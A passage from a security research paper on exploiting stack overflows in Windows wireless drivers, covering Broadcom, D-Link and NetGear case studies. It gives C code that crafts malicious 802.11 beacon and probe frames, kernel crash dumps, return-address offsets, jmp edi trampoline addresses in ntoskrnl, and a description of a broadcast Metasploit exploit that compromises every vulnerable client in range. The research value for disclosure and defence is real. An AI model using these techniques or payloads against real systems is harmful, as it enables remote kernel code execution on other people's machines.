generated beacon packets with overly sized SSIDs. The code that was used to
do this is shown below:
int main(int argc, char **argv)
{
Packet_80211 BeaconPacket;
CreatePacketForExploit(BeaconPacket, basic_target);
printf("Looping forever, sending packets.\n");
while(true)
{
int ret = Send80211Packet(&in_tx, BeaconPacket);
usleep(cfg.usleep);
if (ret == -1)
{
printf("Error tx'ing packet. Is interface up?\n");
exit(0);
}
}
}
void CreatePacketForExploit(Packet_80211 &P, struct target T)
{
Packet_80211_mgmt Beacon;
u_int8_t bcast_addy[6] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff};
Packet_80211_mgmt_Crafter MgmtCrafter(bcast_addy, cfg.src, cfg.bssid);
MgmtCrafter.craft(8, Beacon); // 8 = beacon
P = Beacon;
printf("\n");
if (T.payload_size > 255)
{
printf("invalid target. payload sizes > 255 wont fit in a single IE\n");
exit(0);
}
u_int8_t fixed_parameters[12] = {
'_', ',', '.', 'j', 'c', '.', ',', '_', // timestamp (8 bytes)
0x64, 0x00, // beeacon interval, 1.1024 secs
0x11, 0x04 // capability information. ESS, WEP, Short slot time
};
P.AppendData(sizeof(fixed_parameters), fixed_parameters);
u_int8_t SSID_ie[257]; //255 + 2 for type, value
u_int8_t *SSID = SSID_ie + 2;
SSID_ie[0] = 0;
SSID_ie[1] = 255;
memset(SSID, 0x41, 255);
//Okay, SSID IE is ready for appending.
P.AppendData(sizeof(SSID_ie), SSID_ie);
P.print_hex_dump();
}
As a result of running this code, 802.11 beacon packets were produced that did
indeed contain overly sized SSIDs. However, these packets appeared to have no
effect on the BroadCom device driver. After considerable head scratching, a
modification was made to the program to see if a normally sized SSID would
cause the device driver to process it. If it were processed, it would mean
that the fake SSID would show up in the list of available networks. Even
after making this modification, the device driver still did not appear to be
processing the manually crafted 802.11 beacon packets. Finally, it was
realized that the driver might have some checks in place such that it would
only process beacon packets from networks that also respond to 802.11 probes.
To test this theory out, the code was changed in the manner shown below:
CreatePacketForExploit(BeaconPacket, basic_target);
//CreatePacket returns a beacon, we will also send out directd probe responses.
Packet_80211 ProbePacket = BeaconPacket;
ProbePacket.wlan_header->subtype = 5; //probe response.
ProbePacket.setDstAddr(cfg.dst);
...
while(true)
{
int ret = Send80211Packet(&in_tx, BeaconPacket);
usleep(cfg.usleep);
ret = Send80211Packet(&in_tx, ProbePacket);
usleep(2*cfg.usleep);
}
Sending out directed probe responses as well as beacon packets caused results
to be generated immediately. When a small SSID was sent, it would suddenly
show up in the list of available wireless networks. When an overly sized SSID
was sent, it resulted in a much desired bluescreen as a result of the stack
overflow that Chris had identified. The following output shows some of the
crash information associated with transmitting an SSID that consisted of 255
0xCC's:
DRIVER_IRQL_NOT_LESS_OR_EQUAL (d1)
An attempt was made to access a pageable (or completely invalid) address at an
interrupt request level (IRQL) that is too high. This is usually
caused by drivers using improper addresses.
If kernel debugger is available get stack backtrace.
Arguments:
Arg1: ccccfe9d, memory referenced
Arg2: 00000002, IRQL
Arg3: 00000000, value 0 = read operation, 1 = write operation
Arg4: f6e713de, address which referenced memory
...
TRAP_FRAME: 80550004 -- (.trap ffffffff80550004)
ErrCode = 00000000
eax=cccccccc ebx=84ce62ac ecx=00000000 edx=84ce62ac esi=805500e0 edi=84ce6308
eip=f6e713de esp=80550078 ebp=805500e0 iopl=0 nv up ei pl zr na pe nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010246
bcmwl5+0xf3de:
f6e713de f680d131000002 test byte ptr [eax+31D1h],2 ds:0023:ccccfe9d=??
...
kd> k v
*** Stack trace for last set context - .thread/.cxr resets it
ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
805500e0 cccccccc cccccccc cccccccc cccccccc bcmwl5+0xf3de
80550194 f76a9f09 850890fc 80558e80 80558c20 0xcccccccc
805501ac 804dbbd4 850890b4 850890a0 00000000 NDIS!ndisMDpcX+0x21 (FPO: [Non-Fpo])
805501d0 804dbb4d 00000000 0000000e 00000000 nt!KiRetireDpcList+0x46 (FPO: [0,0,0])
805501d4 00000000 0000000e 00000000 00000000 nt!KiIdleLoop+0x26 (FPO: [0,0,0])
In this case, the crash occurred because a variable on the stack was
overwritten that was subsequently used as a pointer. This overwritten
pointer was then dereferenced. In this case, the dereference occurred through
the eax register. Although the crash occurred as a result of the dereference,
it's important to note that the return address for the stack frame was
successfully overwritten with a controlled value of 0xcccccccc. If the
function had been allowed to return cleanly without trying to dereference
corrupted pointers, full control of the instruction pointer would have been
obtained.
In order to avoid this crash and gain full control of the instruction pointer,
it's necessary to try to calculate the offset to the return address from the start
of the buffer that is being transmitted. Figuring out this offset also has
the benefit of making it possible to figure out the minimum number of bytes
necessary to transmit to trigger the overflow. This is important because it
may be useful when it comes to preventing the dereference crash that was seen
previously.
There are many different ways in which the offset of the return address can be
determined. In this situation, the simplest way to go about it is to transmit
a buffer that contains an incrementing array of bytes. For instance, byte
index 0 is 0x00, byte index 1 is 0x01, and so on. The value that the return
address is overwritten with will then make it possible to calculate its offset
within the buffer. After transmitting a packet that makes use of this
technique, the following crash is rendered:
DRIVER_IRQL_NOT_LESS_OR_EQUAL (d1)
An attempt was made to access a pageable (or completely invalid) address at an
interrupt request level (IRQL) that is too high. This is usually
caused by drivers using improper addresses.
If kernel debugger is available get stack backtrace.
Arguments:
Arg1: 605f902e, memory referenced
Arg2: 00000002, IRQL
Arg3: 00000000, value 0 = read operation, 1 = write operation
Arg4: f73673de, address which referenced memory
...
STACK_TEXT:
80550004 f73673de badb0d00 84d8b250 80550084 nt!KiTrap0E+0x233
WARNING: Stack unwind information not available. Following frames may be wrong.
805500e0 5c5b5a59 605f5e5d 64636261 68676665 bcmwl5+0xf3de
80550194 f76a9f09 84e9e0fc 80558e80 80558c20 0x5c5b5a59
805501ac 804dbbd4 84e9e0b4 84e9e0a0 00000000 NDIS!ndisMDpcX+0x21
805501d0 804dbb4d 00000000 0000000e 00000000 nt!KiRetireDpcList+0x46
805501d4 00000000 0000000e 00000000 00000000 nt!KiIdleLoop+0x26
From this stack trace, it can be seen that the return address was overwritten
with 0x5c5b5a59. Since byte-ordering on x86 is little endian, the offset
within the buffer that contains the SSID is 0x59.
With knowledge of the offset at which the return address is overwritten, the
next step becomes figuring out where in the buffer to place the arbitrary code
that will be executed. Before going down this route, it's important to
provide a little bit of background on the format of 802.11 Management packets.
Management packets encode all of their information in what the standard calls
Information Elements (IEs). IEs have a one byte identifier followed by a one
byte length which is subsequently followed by the associated IE data. For
those familiar with Type-Length-Value (TLV), IEs are roughly the same thing.
Based on this definition, the largest possible IE is 257 bytes (2 bytes of
overhead, and 255 bytes of data).
The upshot of the size restrictions associated with an IE means that the
largest possible SSID that can be copied to the stack is 255 bytes. When
attempting to find the offset of the return address on the stack, an SSID IE
was sent with a 255 byte SSID. Considering the fact that a stack overflow
occurred, one might reasonably expect to find the entire 255 byte SSID on the
stack as a result of the overflow that occurred. A quick dump of the stack
can be used to validate this assumption:
kd> db esp L 256
80550078 2e f0 d9 84 0c 80 d8 84-00 80 d8 84 00 07 0e 01 ................
80550088 02 03 ff 00 01 02 03 04-05 06 07 08 09 0a 0b 0c ................
80550098 0d 0e 0f 10 11 12 13 14-15 16 17 18 19 1a 1b 1c ................
805500a8 1d 1e 1f 20 21 22 23 24-25 26 0b 28 0c 00 00 00 ... !"#$%&.(....
805500b8 82 84 8b 96 24 30 48 6c-0c 12 18 60 44 00 55 80 ....$0Hl...`D.U.
805500c8 3d 3e 3f 40 41 42 43 44-45 46 01 02 01 02 4b 4c =>?@ABCDEF....KL
805500d8 4d 01 02 50 51 52 53 54-55 56 57 58 59 5a 5b 5c M..PQRSTUVWXYZ[\
805500e8 5d 5e 5f 60 61 62 63 64-65 66 67 68 69 6a 6b 6c ]^_`abcdefghijkl
805500f8 6d 6e 6f 70 71 72 73 74-75 76 77 78 79 7a 7b 7c mnopqrstuvwxyz{|
80550108 7d 7e 7f 80 81 82 83 84-85 86 87 88 89 8a 8b 8c }~..............
80550118 8d 8e 8f 90 91 92 93 94-95 96 97 98 99 9a 9b 9c ................
80550128 9d 9e 9f a0 a1 a2 a3 a4-a5 a6 a7 a8 a9 aa ab ac ................
80550138 ad ae af b0 b1 b2 b3 b4-b5 b6 b7 b8 b9 ba bb bc ................
80550148 bd be bf c0 c1 c2 c3 c4-c5 c6 c7 c8 c9 ca cb cc ................
80550158 cd ce cf d0 d1 d2 d3 d4-d5 d6 d7 d8 d9 da db dc ................
80550168 dd de df e0 e1 e2 e3 e4-e5 e6 e7 e8 e9 ea eb ec ................
80550178 ed ee ef f0 f1 f2 f3 f4-f5 f6 f7 f8 f9 fa fb fc ................
80550188 fd fe e9 84 00 00 00 00-e0 9e 6a 01 ac 01 55 80 ..........j...U.
Based on this dump, it appears that the majority of the SSID was indeed copied
across the stack. However, a large portion of the buffer prior to the offset
of the return address has been mangled. In this instance, the return address
appears to be located at 0x805500e4. While the area prior to this address
appears mangled, the area succeeding it has remained intact.
In order to try to prove the possibility of gaining code execution, a good
initial attempt would be to send a buffer that overwrites the return address
with the address that immediately succeeds it (which will be composed of
int3's). If everything works according to plan, the vulnerable function will
return into the int3's and bluescreen the machine in a controlled fashion.
This accomplishes two things. First, it proves that it is possible to
redirect execution into a controllable buffer. Second, it gives a snapshot of
the state of the registers at the time that execution control is redirected.
The layout of the buffer that would need to be sent to trigger this condition
is described in the diagram below:
[Padding.......][EIP][payload of int3's]
^ ^ ^
| | \_ Can hold at most 163 bytes of arbitrary code.
| \_ Overwritten with 0x8055010d which points to the payload
\_ Start of SSID that is mangled after the overflow occurs.
Transmitting a buffer that is structured as shown above does indeed result in
a bluescreen. It is possible to differentiate actual crashes from those
generated as the result of an int3 by looking at the bugcheck information.
The use of an int3 will result in an unhandled kernel mode exception which is
bugcheck code 0x8e. Furthermore, the exception code information associated
with this (the first parameter of the exception) will be set to 0x80000003.
Exception code 0x80000003 is used to indicate that the unhandled exception was
associated with a trap instruction. This is generally a good indication that
the arbitrary code you specified has executed. It's also very useful in
situations where it is not possible to do remote kernel debugging and one must
rely on strictly using crash dump analysis.
KERNEL_MODE_EXCEPTION_NOT_HANDLED (8e)
This is a very common bugcheck. Usually the exception address pinpoints
the driver/function that caused the problem. Always note this address
as well as the link date of the driver/image that contains this address.
Some common problems are exception code 0x80000003. This means a hard
coded breakpoint or assertion was hit, but this system was booted
/NODEBUG. This is not supposed to happen as developers should never have
hardcoded breakpoints in retail code, but ...
If this happens, make sure a debugger gets connected, and the
system is booted /DEBUG. This will let us see why this breakpoint is
happening.
Arguments:
Arg1: 80000003, The exception code that was not handled
Arg2: 8055010d, The address that the exception occurred at
Arg3: 80550088, Trap Frame
Arg4: 00000000
...
TRAP_FRAME: 80550088 -- (.trap ffffffff80550088)
ErrCode = 00000000
eax=8055010d ebx=841b0000 ecx=00000000 edx=841b31f4 esi=841b000c edi=845f302e
eip=8055010e esp=805500fc ebp=8055010d iopl=0 nv up ei pl zr na pe nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000246
nt!KiDoubleFaultStack+0x2c8e:
8055010e cc int 3
...
STACK_TEXT:
8054fc50 8051d6a7 0000008e 80000003 8055010d nt!KeBugCheckEx+0x1b
80550018 804df235 80550034 00000000 80550088 nt!KiDispatchException+0x3b1
80550080 804df947 8055010d 8055010e badb0d00 nt!CommonDispatchException+0x4d
80550080 8055010e 8055010d 8055010e badb0d00 nt!KiTrap03+0xad
8055010d cccccccc cccccccc cccccccc cccccccc nt!KiDoubleFaultStack+0x2c8e
WARNING: Frame IP not in any known module. Following frames may be wrong.
80550111 cccccccc cccccccc cccccccc cccccccc 0xcccccccc
80550115 cccccccc cccccccc cccccccc cccccccc 0xcccccccc
80550119 cccccccc cccccccc cccccccc cccccccc 0xcccccccc
8055011d cccccccc cccccccc cccccccc cccccccc 0xcccccccc
The above crash dump information definitely shows that arbitrary code
execution has been achieved. This is a big milestone. It pretty much proves
that exploitation will be possible. However, it doesn't prove how reliable or
portable it will be. For that reason, the next step involves identifying
changes to the exploit that will make it more reliable and portable from one
machine to the next. Fortunately, the current situation already appears like
it might afford a good degree of portability, as the stack addresses don't
appear to shift around from one crash to the next.
At this stage, the return address is being overwritten with a hard-coded stack
address that points immediately after the return address in the buffer. One
of the problems with this is that the amount of space immediately following
the return address is limited to 163 bytes due to the maximum size of the SSID
IE. This is enough room for small stub of a payload, but probably not large
enough for a payload that would provide anything interesting in terms of
features. It's also worth noting that overwriting past the return address
might overwrite some important elements on the stack that could lead to the
system crashing at some later point for hard to explain reasons. When dealing
with kernel-mode vulnerabilities, it is advised that one attempt to clobber
the least amount of state as possible in order to reduce the amount of collateral
damage that might ensue.
Limiting the amount of data that is used in the overflow to only the amount
needed to trigger the overwriting of the return address means that the total
size for the SSID IE will be limited and not suitable to hold arbitrary code.
However, there's no reason why code couldn't be placed in a completely
separate IE unrelated to the SSID. This means we could transmit a packet that
included both the bogus SSID IE and another arbitrary IE which would be used
to contain the arbitrary code. Although this would work, it must be possible
to find a reference to the arbitrary IE that contains the arbitrary code. One
approach that might be taken to do this would be to search the address space
for an intact copy of the 802.11 packet that is transmitted. Before going
down that path, it makes sense to try to find instances of the packet in
memory using the kernel debugger. A simple search of the address space using
the destination MAC address of the packet sent is a good way to find potential
matches. In this case, the destination MAC is 00:14:a5:06:8f:e6.
kd> .ignore_missing_pages 1
Suppress kernel summary dump missing page error message
kd> s 0x80000000 L?10000000 00 14 a5 06 8f e6
8418588a 00 14 a5 06 8f e6 ff ff-ff ff ff ff 40 0e 00 00 ............@...
841b0006 00 14 a5 06 8f e6 00 00-00 00 00 00 00
00 00 00 ................
841b1534 00 14 a5 06 8f e6 00 00-00 00 00 00 00 00 00 00 ................
84223028 00 14 a5 06 8f e6 00 07-0e 01 02 03 00 07 0e 01 ................
845dc028 00 14 a5 06 8f e6 00 07-0e 01 02 03 00 07 0e 01 ................
845de828 00 14 a5 06 8f e6 00 07-0e 01 02 03 00 07 0e 01 ................
845df828 00 14 a5 06 8f e6 00 07-0e 01 02 03 00 07 0e 01 ................
845f3028 00 14 a5 06 8f e6 00 07-0e 01 02 03 00 07 0e 01 ................
845f3828 00 14 a5 06 8f e6 00 07-0e 01 02 03 00 07 0e 01 ................
845f4028 00 14 a5 06 8f e6 00 07-0e 01 02 03 00 07 0e 01 ................
845f5028 00 14 a5 06 8f e6 00 07-0e 01 02 03 00 07 0e 01 ................
84642d4c 00 14 a5 06 8f e6 00 00-f0 c6 2a 85 00 00 00 00 ..........*.....
846d6d4c 00 14 a5 06 8f e6 00 00-80 79 21 85 00 00 00 00 .........y!.....
84eda06c 00 14 a5 06 8f e6 02 06-01 01 00 0e 00 00 00 00 ................
84efdecc 00 14 a5 06 8f e6 00 00-65 00 00 00 16 00 25 0a ........e.....%.
The above output shows that quite a few matches were found One important thing
to note is that the BSSID used in the packet that contained the overly sized
SSID was 00:07:0e:01:02:03. In an 802.11 header, the addresses of Management
packets are arranged in order of DST, SRC, BSSID. While some of the above
matches do not appear to contain the entire packet contents, many of them do.
Picking one of the matches at random shows the contents in more detail:
kd> db 84223028 L 128
84223028 00 14 a5 06 8f e6 00 07-0e 01 02 03 00 07 0e 01 ................
84223038 02 03 d0 cf 85 b1 b3 db-01 00 00 00 64 00 11 04 ............d...
84223048 00 ff 4a 0d 01 55 80 0d-01 55 80 0d 01 55 80 0d ..J..U...U...U..
84223058 01 55 80 0d 01 55 80 0d-01 55 80 0d 01 55 80 0d .U...U...U...U..
84223068 01 55 80 0d 01 55 80 0d-01 55 80 0d 01 55 80 0d .U...U...U...U..
84223078 01 55 80 0d 01 55 80 0d-01 55 80 0d 01 55 80 0d .U...U...U...U..
84223088 01 55 80 0d 01 55 80 0d-01 55 80 0d 01 55 80 0d .U...U...U...U..
84223098 01 55 80 0d 01 55 80 0d-01 55 80 0d 01 55 80 0d .U...U...U...U..
842230a8 01 55 80 cc cc cc cc cc-cc cc cc cc cc cc cc cc .U..............
842230b8 cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc ................
842230c8 cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc ................
842230d8 cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc ................
842230e8 cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc ................
842230f8 cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc ................
84223108 cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc ................
Indeed, this does appear to be a full copy of the original packet. The reason
why there are so many copies of the packet in memory might be related to the
fact that the current form of the exploit is transmitting packets in an
infinite loop, thus causing the driver to have a few copies lingering in
memory. The fact that multiple copies exist in memory is good news
considering it increases the number of places that could be used for return
addresses. However, it's not as simple as hard-coding one of these addresses
into the exploit considering pool allocated addresses will not be predictable.
Instead, steps will need to be taken to attempt to find a reference to the
packet through a register or through some other context. In this way, a very
small stub could be placed after the return address in the buffer that would
immediately transfer control into the a copy of the packet somewhere else in
memory. Although some initial work with the debugger showed a couple of
references to the original packet on the stack, a much simpler solution was
identified. Consider the following register context at the time of the crash:
kd> r
Last set context:
eax=8055010d ebx=841b0000 ecx=00000000 edx=841b31f4 esi=841b000c edi=845f302e
eip=8055010e esp=805500fc ebp=8055010d iopl=0 nv up ei pl zr na pe nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000246
nt!KiDoubleFaultStack+0x2c8e:
8055010e cc int 3
Inspecting each of these registers individually eventually shows that the edi
register is pointing into a copy of the packet.
kd> db edi
845f302e 00 07 0e 01 02 03 00 07-0e 01 02 03 10 cf 85 b1 ................
845f303e b3 db 01 00 00 00 64 00-11 04 00 ff 4a 0d 01 55 ......d.....J..U
845f304e 80 0d 01 55 80 0d 01 55-80 0d 01 55 80 0d 01 55 ...U...U...U...U
As chance would have it, edi is pointing to the source MAC in the 802.11
packet that was sent. If it had instead been pointing to the destination MAC
or the end of the packet, it would not have been of any use. With edi being
pointed to the source MAC, the rest of the cards fall into place. The
hard-coded stack address that was previously used to overwrite the return
address can be replaced with an address (probably inside ntoskrnl.exe) that
contains the equivalent of a jmp edi instruction. When the exploit is
triggered and the vulnerable function returns, it will transfer control to the
location that contains the jmp edi. The jmp edi, in turn, transfers control
to the first byte of the source MAC. By setting the source MAC to some
executable code, such as a relative jump instruction, it is possible to
finally transfer control into a location of the packet that contains the
arbitrary code that should be executed.
This solves the problem of using the hard-coded stack address as the return
address and should help to make the exploit more reliable and portable between
targets. However, this portability will be limited by the location of the jmp
edi instruction that is used when overwriting the return address. Finding the
location of a jmp edi instruction is relatively simple, although more
effective measures could be use to cross-reference addresses in an effort to
find something more portable Experimentation shows that 0x8066662c is a
reliable location:
kd> s nt L?10000000 ff e7
8063abce ff e7 ff 21 47 70 21 83-98 03 00 00 eb 38 80 3d ...!Gp!......8.=
806590ca ff e7 ff 5f eb 05 bb 22-00 00 c0 8b ce e8 74 ff ..._..."......t.
806590d9 ff e7 ff 5e 8b c3 5b c9-c2 08 00 cc cc cc cc cc ...^..[.........
8066662c ff e7 ff 8b d8 85 db 74-e0 33 d2 42 8b cb e8 d7 .......t.3.B....
806bb44b ff e7 a3 6c ff a2 42 08-ff 3f 2a 1e f0 04 04 04 ...l..B..?*.....
...
With the exploit all but finished, the final question that remains unanswered
is where the arbitrary code should be placed in the 802.11 packet. There are
a few different ways that this could be tackled. The simplest solution to the
problem would be to simply append the arbitrary code immediately after the
SSID in the packet. However, this would make the packet malformed and might
cause the driver to drop it. Alternatively, an arbitrary IE, such as a WPA
IE, could be used as a container for the arbitrary code as suggested earlier
in this section. For now, the authors decided to take the middle road. By
default, a WPA IE will be used as the container for all payloads, regardless
of whether or not the payloads fit within the IE. This has the effect of
allowing all payloads smaller than 256 bytes to be part of a well-formed
packet. Payloads that are larger than 255 bytes will cause the packet to be
malformed, but perhaps not enough to cause the driver to drop the packet. An
alternate solution to this issue can be found in the NetGear case study.
At this point, the structure of the buffer and the packet as a whole have been
completely researched and are ready to be tested. The only thing left to do
is incorporate the arbitrary code that was described in 4.1. Much time was
spent debugging and improving the code that was used in order to produce a
reliable exploit.
5.2) D-Link
Soon after the Broadcom exploit was completed, the authors decided to write a
suite of fuzzing modules that could discover similar issues in other wireless
drivers. The first casualty of this process was the A5AGU.SYS driver provided
with the D-Link's DWL-G132 USB wireless adapter. The authors configured the
test machine (Windows XP SP2) so that a complete snapshot of kernel memory was
included in the system crash dumps. This ensures that when a crash occurs,
enough useful information is there to debug the problem. Next, the latest
driver for the target device (v1.0.1.41) was installed. Finally, the beacon
fuzzing module was started and the card was inserted into the USB port of the
test system. Five seconds later, a beautiful blue screen appeared while the
crash dump was written to disk.
DRIVER_IRQL_NOT_LESS_OR_EQUAL (d1)
An attempt was made to access a pageable (or completely invalid) address at an
interrupt request level (IRQL) that is too high. This is usually
caused by drivers using improper addresses.
If kernel debugger is available get stack backtrace.
Arguments:
Arg1: 56149a1b, memory referenced
Arg2: 00000002, IRQL
Arg3: 00000000, value 0 = read operation, 1 = write operation
Arg4: 56149a1b, address which referenced memory
ErrCode = 00000000
eax=00000000 ebx=82103ce0 ecx=00000002 edx=82864dd0 esi=f24105dc edi=8263b7a6
eip=56149a1b esp=80550658 ebp=82015000 iopl=0 nv up ei ng nz ac pe nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010296
56149a1b ?? ???
Resetting default scope
LAST_CONTROL_TRANSFER: from 56149a1b to 804e2158
FAILED_INSTRUCTION_ADDRESS:
+56149a1b
56149a1b ?? ???
STACK_TEXT:
805505e4 56149a1b badb0d00 82864dd0 00000000 nt!KiTrap0E+0x233
80550654 82015000 82103ce0 81f15e10 8263b79c 0x56149a1b
80550664 f2408d54 81f15e10 82103c00 82015000 0x82015000
80550694 f24019cc 82015000 82103ce0 82015000 A5AGU+0x28d54
805506b8 f2413540 824ff008 0000000b 82015000 A5AGU+0x219cc
805506d8 f2414fae 824ff008 0000000b 0000000c A5AGU+0x33540
805506f4 f24146ae f241d328 8263b760 81f75000 A5AGU+0x34fae
80550704 f2417197 824ff008 00000001 8263b760 A5AGU+0x346ae
80550728 804e42cc 00000000 821f0008 00000000 A5AGU+0x37197
80550758 f74acee5 821f0008 822650a8 829fb028 nt!IopfCompleteRequest+0xa2
805507c0 f74adb57 8295a258 00000000 829fb7d8 USBPORT!USBPORT_CompleteTransfer+0x373
805507f0 f74ae754 026e6f44 829fb0e0 829fb0e0 USBPORT!USBPORT_DoneTransfer+0x137
80550828 f74aff6a 829fb028 804e3579 829fb230 USBPORT!USBPORT_FlushDoneTransferList+0x16c
80550854 f74bdfb0 829fb028 804e3579 829fb028 USBPORT!USBPORT_DpcWorker+0x224
80550890 f74be128 829fb028 00000001 80559580 USBPORT!USBPORT_IsrDpcWorker+0x37e
805508ac 804dc179 829fb64c 6b755044 00000000 USBPORT!USBPORT_IsrDpc+0x166
805508d0 804dc0ed 00000000 0000000e 00000000 nt!KiRetireDpcList+0x46
805508d4 00000000 0000000e 00000000 00000000 nt!KiIdleLoop+0x26
Five seconds of fuzzing had produced a flaw that made it possible to gain
control of the instruction pointer. In order to execute arbitrary code,
however, a contextual reference to the malicious frame had to be located. In
this case, the edi register pointed into the source address field of the frame
in just the same way that it did in the Broadcom vulnerability. The bogus eip
value can be found just past the source address where one would expect it --
inside one of the randomly generated information elements.
kd> dd 0x8263b7a6 (edi)
8263b7a6 f3793ee8 3ee8a34e a34ef379 6eb215f0
8263b7b6 fde19019 006431d8 9b001740 63594364
kd> s 0x8263b7a6 Lffff 0x1b 0x9a 0x14 0x56
8263bd2b 1b 9a 14 56 2a 85 56 63-00 55 0c 0f 63 6e 17 51 ...V*.Vc.U..cn.Q
The next step was to determine what information element was causing the crash.
After decoding the in-memory version of the frame, a series of modifications
and retransmissions were made until the specific information element leading
to the crash was found. Through this method it was determined that a long
Supported Rates information element triggers the stack overflow shown in the
crash above.
Exploiting this flaw involved finding a return address in memory that pointed
to a jmp edi, call edi, or push edi; ret instruction sequence. This was
accomplished by running the msfpescan application included with the Metasploit
Framework against the ntoskrnl.exe of our target. The resulting addresses had
to be adjusted to account for the kernel's base address. The address that was
chosen for this version of ntoskrnl.exe was 0x804f16eb ( 0x800d7000 +
0x0041a6eb ).
$ msfpescan ntoskrnl.exe -j edi
[ntoskrnl.exe]
0x0040365d push edi; retn 0x0001
0x00405aab call edi
0x00409d56 push edi; ret
0x0041a6eb jmp edi
Finally, the magic frame was reworked into an exploit module for the 3.0
version of the Metasploit Framework. When the exploit is launched, a stack
overflow occurs, the return address is overwritten with the location of a jmp
edi, which in turn lands on the source address of the frame. The source
address was modified to be a valid x86 relative jump, which directs execution
into the body of the first information element. The maximum MTU of 802.11b is
over 2300 bytes, allowing for payloads of up to 1000 bytes without running
into reliability issues. Since this exploit is sent to the broadcast address,
all vulnerable clients within range of the attacker are exploited with a
single frame.
5.3) NetGear
For the next test, the authors chose NetGear's WG111v2 USB wireless adapter.
The machine used in the D-Link exploit was reused for this test (Windows XP
SP2). The latest version of the WG111v2.SYS driver (v5.1213.6.316) was
installed, the beacon fuzzer was started, and the adapter was connected to the
test system. After about ten seconds, the system crashed and another gorgeous
blue screen appeared.
DRIVER_IRQL_NOT_LESS_OR_EQUAL (d1)
An attempt was made to access a pageable (or completely invalid) address at an
interrupt request level (IRQL) that is too high. This is usually
caused by drivers using improper addresses.
If kernel debugger is available get stack backtrace.
Arguments:
Arg1: dfa6e83c, memory referenced
Arg2: 00000002, IRQL
Arg3: 00000000, value 0 = read operation, 1 = write operation
Arg4: dfa6e83c, address which referenced memory
ErrCode = 00000000
eax=80550000 ebx=825c700c ecx=00000005 edx=f30e0000 esi=82615000 edi=825c7012
eip=dfa6e83c esp=80550684 ebp=b90ddf78 iopl=0 nv up ei pl zr na pe nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010246
dfa6e83c ?? ???
Resetting default scope
LAST_CONTROL_TRANSFER: from dfa6e83c to 804e2158
FAILED_INSTRUCTION_ADDRESS:
+ffffffffdfa6e83c
dfa6e83c ?? ???
STACK_TEXT:
80550610 dfa6e83c badb0d00 f30e0000 0b9e1a2b nt!KiTrap0E+0x233
WARNING: Frame IP not in any known module. Following frames may be wrong.
80550680 79e1538d 14c4f76f 8c1cec8e ea20f5b9 0xdfa6e83c
80550684 14c4f76f 8c1cec8e ea20f5b9 63a92305 0x79e1538d
80550688 8c1cec8e ea20f5b9 63a92305 115cab0c 0x14c4f76f
8055068c ea20f5b9 63a92305 115cab0c c63e58cc 0x8c1cec8e
80550690 63a92305 115cab0c c63e58cc 6d90e221 0xea20f5b9
80550694 115cab0c c63e58cc 6d90e221 78d94283 0x63a92305
80550698 c63e58cc 6d90e221 78d94283 2b828309 0x115cab0c
8055069c 6d90e221 78d94283 2b828309 39d51a89 0xc63e58cc
805506a0 78d94283 2b828309 39d51a89 0f8524ea 0x6d90e221
805506a4 2b828309 39d51a89 0f8524ea c8f0583a 0x78d94283
805506a8 39d51a89 0f8524ea c8f0583a 7e98cd49 0x2b828309
805506ac 0f8524ea c8f0583a 7e98cd49 214b52ab 0x39d51a89
805506b0 c8f0583a 7e98cd49 214b52ab 139ef137 0xf8524ea
805506b4 7e98cd49 214b52ab 139ef137 a7693fa7 0xc8f0583a
805506b8 214b52ab 139ef137 a7693fa7 dfad502f 0x7e98cd49
805506bc 139ef137 a7693fa7 dfad502f 81212de6 0x214b52ab
805506c0 a7693fa7 dfad502f 81212de6 c46a3b2e 0x139ef137
805507c0 f74a1b57 825f1e40 00000000 829a87d8 0xa7693fa7
805507f0 f74a2754 026e6f44 829a80e0 829a80e0 USBPORT!USBPORT_DoneTransfer+0x137
80550828 f74a3f6a 829a8028 804e3579 829a8230 USBPORT!USBPORT_FlushDoneTransferList+0x16c
80550854 f74b1fb0 829a8028 804e3579 829a8028 USBPORT!USBPORT_DpcWorker+0x224
80550890 f74b2128 829a8028 00000001 80559580 USBPORT!USBPORT_IsrDpcWorker+0x37e
805508ac 804dc179 829a864c 6b755044 00000000 USBPORT!USBPORT_IsrDpc+0x166
805508d0 804dc0ed 00000000 0000000e 00000000 nt!KiRetireDpcList+0x46
805508d4 00000000 0000000e 00000000 00000000 nt!KiIdleLoop+0x26
The crash indicates that not only did the fuzzer gain control of the driver's
execution address, but the entire stack frame was smashed as well. The esp
register points about a thousand bytes into the frame and the bogus eip value
inside another controlled area.
kd> dd 80550684
80550684 79e1538d 14c4f76f 8c1cec8e ea20f5b9
80550694 63a92305 115cab0c c63e58cc 6d90e221
kd> s 0x80550600 Lffff 0x3c 0xe8 0xa6 0xdf
80550608 3c e8 a6 df 10 06 55 80-78 df 0d b9 3c e8 a6 df <.....U.x...<...
80550614 3c e8 a6 df 00 0d db ba-00 00 0e f3 2b 1a 9e 0b <...........+...
80550678 3c e8 a6 df 08 00 00 00-46 02 01 00 8d 53 e1 79 <.......F....S.y
8055a524 3c e8 a6 df 02 00 00 00-00 00 00 00 3c e8 a6 df <...........<...
8055a530 3c e8 a6 df 00 40 00 e1-00 00 00 00 00 00 00 00 <....@..........
Analyzing this bug took a lot more time than one might expect. Suprisingly,
there is no single field or information element that triggers this flaw. Any
series of information elements with a length greater than 1100 bytes will
trigger the overflow if the SSID, Supported Rates, and Channel information
elements are at the beginning. The driver will discard any frames where the IE
chain is truncated or extends beyond the boundaries of the received frame.
This was an annoyance, since a payload may be of arbitrary length and content
and may not neatly fit into a 255 byte block of data (the maximum for a single
IE). The solution was to treat the blob of padding and shellcode like a
contiguous IE chain and pad the buffer based on the content and length of the
frame. The exploit code would generate the buffer, then walk through the
buffer as if it was a series of IEs, extending the very last IE via randomized
padding. This results in a chain of garbage information elements which pass
